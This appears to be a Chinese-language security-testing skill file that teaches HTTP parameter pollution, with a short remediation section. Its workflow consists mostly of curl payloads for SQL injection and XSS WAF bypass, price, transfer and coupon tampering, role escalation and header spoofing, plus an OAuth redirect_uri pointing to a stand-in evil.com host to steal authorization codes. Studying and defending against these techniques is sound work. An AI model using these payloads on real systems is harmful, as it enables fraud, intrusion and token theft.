| name | performing-http-parameter-pollution-attack |
| description | 执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["http-parameter-pollution","hpp","waf-bypass","input-validation","web-security","parameter-injection","server-parsing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 HTTP 参数污染攻击(Performing HTTP Parameter Pollution Attack)
适用场景
- 测试 Web 应用程序的输入验证绕过漏洞时
- 在 WAF 规避测试期间,将攻击载荷分散到重复参数中
- 评估不同技术栈如何处理重复 HTTP 参数时
- 在 API 安全测试期间识别参数优先级问题时
- 测试 OAuth 或支付处理流程的参数操控时
前置条件
- Burp Suite Professional,带有 Intruder 和 Repeater 模块
- 了解 HTTP 协议和查询字符串解析
- 掌握服务器端参数处理差异(第一个、最后一个、数组、连接)
- cURL 或 httpie,用于手动参数构造
- 识别目标应用程序技术栈(Apache、IIS、Tomcat、Node.js 等)
工作流程
步骤 1 — 识别参数处理行为
curl -v "http://target.com/search?q=first&q=second"
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
步骤 2 — 执行服务器端 HPP
curl "http://target.com/api/user?id=1%20OR%201%3D1"
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
步骤 3 — 执行客户端 HPP
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
步骤 4 — 使用 HPP 绕过 WAF 规则
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
curl "http://target.com/api/data?filter=admin%26role=superadmin"
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
步骤 5 — 测试 OAuth 和支付流程 HPP
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
步骤 6 — 自动化 HPP 测试
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
核心概念
| 概念 | 定义 |
|---|
| 服务器端 HPP(Server-Side HPP) | 后端以不同方式处理重复参数,导致逻辑绕过 |
| 客户端 HPP(Client-Side HPP) | 注入的参数被反映在发送给其他用户的 URL/链接中 |
| 参数优先级(Parameter Precedence) | 服务器行为:第一个获胜、最后一个获胜、连接或数组 |
| WAF 规避(WAF Evasion) | 将攻击载荷分散到重复参数以避免检测 |
| 特定技术解析(Technology-Specific Parsing) | 不同框架对重复参数的处理方式不同 |
| URL 编码 HPP(URL Encoding HPP) | 使用 %26(编码的 &)在值中注入额外参数 |
| 头部污染(Header Pollution) | 发送重复 HTTP 头以利用转发或信任逻辑 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | 用于拦截和复制参数的 HTTP 代理 |
| param-miner | 用于发现隐藏和重复参数的 Burp 扩展 |
| OWASP ZAP | 具备 HPP 检测功能的自动化扫描器 |
| Arjun | 隐藏 HTTP 参数发现工具 |
| ffuf | 用于参数暴力破解和复制测试的模糊测试工具 |
| Wfuzz | 支持参数操控的 Web 应用程序模糊测试器 |
常见场景
- WAF 绕过 — 将 SQL 注入或 XSS 载荷分散到重复参数中,WAF 单独检查值但服务器将其连接
- 支付操控 — 在电商结账流程中通过提交重复参数值来覆盖价格或数量参数
- OAuth 重定向劫持 — 注入重复的 redirect_uri 参数,将授权码重定向到攻击者控制的服务器
- 访问控制绕过 — 覆盖请求中的角色或权限参数以提升权限或访问受限资源
- 输入验证绕过 — 通过注入意外的重复参数来规避客户端或服务器端验证
输出格式
## HTTP 参数污染评估报告
- **目标**:http://target.com
- **服务器技术**:ASP.NET/IIS(连接行为)
- **漏洞**:支付端点的服务器端 HPP
### 参数处理矩阵
| 技术 | 行为 | 已测试 |
|-----------|----------|--------|
| Apache/PHP | 最后一个值 | 是 |
| IIS/ASP.NET | 逗号连接 | 是 |
| Node.js | 数组 | 是 |
### 发现
| # | 端点 | 参数 | 影响 | 严重程度 |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | 价格操控 | 严重 |
| 2 | GET /oauth/authorize | redirect_uri | 令牌窃取 | 高 |
| 3 | POST /api/search | q | WAF 绕过(SQLi) | 高 |
### 修复建议
- 实施严格的参数验证,拒绝重复参数
- 使用任何参数的第一个出现值,忽略后续重复值
- 应用能检测重复参数模式的 WAF 规则
- 无论客户端检查如何,始终在服务器端验证所有参数